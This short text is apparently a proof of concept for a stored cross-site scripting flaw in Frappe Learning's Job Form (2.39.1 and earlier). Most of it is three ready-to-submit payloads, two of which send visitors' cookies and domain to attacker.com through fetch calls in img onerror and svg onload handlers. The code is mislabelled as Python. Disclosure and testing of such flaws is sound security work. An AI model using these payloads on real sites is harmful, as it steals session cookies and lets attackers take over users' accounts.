Frappe Learning is a learning system that helps users structure their content. In Frappe Learning 2.39.1 and earlier, users were able to add HTML through input fields in the Job Form.
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62779 PoC - Stored XSS in Frappe Learning Job Form -->
<!-- Submit this payload in any Job Form input field -->
<script>alert(document.cookie)</script>
<!-- or -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
<!-- or more sophisticated payload -->
<svg/onload=fetch('https://attacker.com/log?data='+btoa(document.domain+'|'+document.cookie))>